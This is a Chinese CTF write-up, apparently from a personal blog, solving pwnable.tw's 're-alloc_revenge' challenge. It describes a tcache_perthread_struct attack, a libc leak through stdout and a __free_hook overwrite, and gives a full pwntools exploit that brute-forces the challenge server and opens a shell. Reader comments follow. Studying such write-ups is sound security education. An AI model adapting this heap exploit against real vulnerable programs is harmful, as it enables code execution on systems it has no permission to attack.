Loading... 前段时间做了一道[利用 `realloc` 的题](https://www.cjovi.icu/WP/1203.html),感觉很有意思。看到此题的名字就有了兴趣,于是花了一天解了一下。 关于 `realloc` 的特性和攻击 `_IO_FILE`,本文不再赘述,可见此 WP [TWCTF_online_2019_asterisk_alloc](https://www.cjovi.icu/WP/1203.html) 本题的一个特点就是有 `tcache` 然后再限制一手申请的空间大小,导致传统的填满 `tcache` 再 `free` 出一个 `unsorted bin` 再实现 leak 变得不再可行。 这样的题目碰到过几次,每次都隐约感觉在某处看到过,由于一些 `tcache chunk` 的 `next` 会指向下一个 chunk,而用于管理 `tcache` 的结构体 `tcache_perthread_struct` 也是在堆段上的,所以通过部分覆写 `next` 可以使 `next` 指向 `tcache_perthread_struct`,这样就可以通过 `tcache poisoning` 分配到 `tcache_perthread_struct` 上实现攻击了。但是不知道这个结构体到底在什么位置,就都不知道该怎么部分覆写。以前碰到的要么没有做下去,要么就是有更好的利用方法,所以一直没有深究。 想想也挺蠢的,动调的时候查看堆,有时候会有一个大小为 0x251 的堆块,没有去深究过那到底是什么东西,其实那个就是 `tcache_perthread_struct`。 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/03/4221908090.png"></div> 就是这个 250 了。也就是说,**`tcache_perthread_struct` 就是处在堆段头部的**。 这样的话我们只要写 `next` 的低二字节,满足低十二位为 0x010(不是 0x100 的原因是 `tcache` 的 `next` 指向数据区),爆破高四位就可以将 `next`指到`tcache_perthread_struct`。 通过简单的 `tcache poisoning` 就可以分配堆块到 `tcache_perthread_struct` 了,这也就是 **`tache struct attack`** 了 ``` typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS];//0x40 tcache_entry *entries[TCACHE_MAX_BINS];//0x40 } tcache_perthread_struct; ``` 结构如上。有了上面的思路就可以很容易地写出利用脚本 ```python malloc(0,0x70,'\n') realloc(0,0x50,'\n') realloc(0,0x10,'\n') free_r(0) malloc(0,0x30,'\n') realloc(0,0,'') for i in range(6): realloc(0,0x30,p64(0) + p64(0)) realloc(0,0,'') realloc(0,0x30,'\x10\x60') malloc(1,0x30,p64(0) + p64(0)) realloc(0,0x10,p64(0) + p64(0)) free_r(0) malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00' ``` 这里为了在 `free_r(0)` 时避免 chunk 重新返回 `tcache`,用到了 `realloc(0,0x10,p64(0) + p64(0))`,使 `free_r(0)` 时被 `free` 的 `size` 为 0x21,再一次分配时就可以分配到 `tcache_perthread_struct` 了。 此时我们拥有了对 `tcache_perthread_struct` 的部分任意写的能力。要注意到此时 chunk 大小仍为为 0x250,足够进入 `unsorted bin`,只要我们覆写 `counts` 数组中对应 0x250 的计数器的大小为一个较大的值,然后通过 `realloc(0)` 就可以使这个 chunk 顺利地进入 `unsorted bin` 了。这样就可以通过攻击 `_IO_2_1_stdout_` 来 leak 了。 之后就是普通的 `tcache poisoning` 了。 ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * import struct context.terminal = ["tmux","splitw","-h"] context.log_level = 'debug' #libc = ELF("/glibc/2.29/amd64/lib/libc.so.6") libc = ELF("./libc.so") def malloc(index,size,payload): sh.sendlineafter("choice: ",'1') sh.sendlineafter("Index:",str(index)) sh.sendlineafter("Size:",str(size)) if(size != 0): sh.sendafter("Data:",payload) def realloc(index,size,payload): sh.sendlineafter("choice: ",'2') sh.sendlineafter("Index:",str(index)) sh.sendlineafter("Size:",str(size)) if(size != 0): sh.sendafter("Data:",payload) def free_r(index): sh.sendlineafter("choice: ",'3') sh.sendlineafter("Index:",str(index)) for i in range(16 * 16): try: log.success("#" + str(i)) sh = remote("chall.pwnable.tw",10310) #sh = process("./re-alloc_revenge")#,env={"LD_PRELOAD":"home/chuj/pwnable/libc.so"}) malloc(0,0x70,'\n') realloc(0,0x50,'\n') realloc(0,0x10,'\n') free_r(0) malloc(0,0x30,'\n') realloc(0,0,'') for i in range(6): realloc(0,0x30,p64(0) + p64(0)) realloc(0,0,'') realloc(0,0x30,'\x10\x60') malloc(1,0x30,p64(0) + p64(0)) realloc(0,0x10,p64(0) + p64(0)) free_r(0) malloc(0,0x30,'\x00' * 0x23 + '\xFF\x00') free_r(0) malloc(0,0x40,'\xFF\x01\xFF'.ljust(0x40,'\xFF')) free_r(1) realloc(0,0x58,'\xFF\xFF\x06\xFF'.ljust(0x40,'\xFF') + p64(0) + p64(0) + '\x60\x57') malloc(1,0x30,p64(0xfbad1887) + p64(0) * 3) sh.recv(0x58) libc_base = u64(sh.recv(8)) - libc.symbols["_IO_file_jumps"] log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.symbols["system"] free_hook_addr = libc_base + libc.symbols["__free_hook"] realloc(0,0x78,'\x07\x07'.ljust(0x40,'\x07') + p64(0) + p64(0) + p64(free_hook_addr - 8) * 5) free_r(0) malloc(0,0x60,'/bin/sh\x00' + p64(system_addr)) free_r(0) #gdb.attach(proc.pidof(sh)[0]) sh.sendline('echo pwned!') sh.recvuntil("pwned!") sh.sendline("cat home/re-alloc_revenge/flag") sh.interactive() break except: sh.close() ``` 服务器不是很好,执行的很慢,这个爆破的概率是 1/(16 * 16),所以还是需要等一段时间的。 ###### 参考: > [初探tcache struct攻击](https://xz.aliyun.com/t/6828#toc-7)(写的很棒!) 最后修改:2021 年 03 月 23 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 2 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧
3 条评论
能请问下师傅在本地getshell以后,按回车键只能回显出^M是什么情况嘛
^M 就是 \r,Windows 下换行是 '\r\n',你试试在 Linux 环境下输入
之前的确是在linux呀,但是后来我重启了下虚拟机就正常了,(不知道是什么原因),还是谢谢师傅。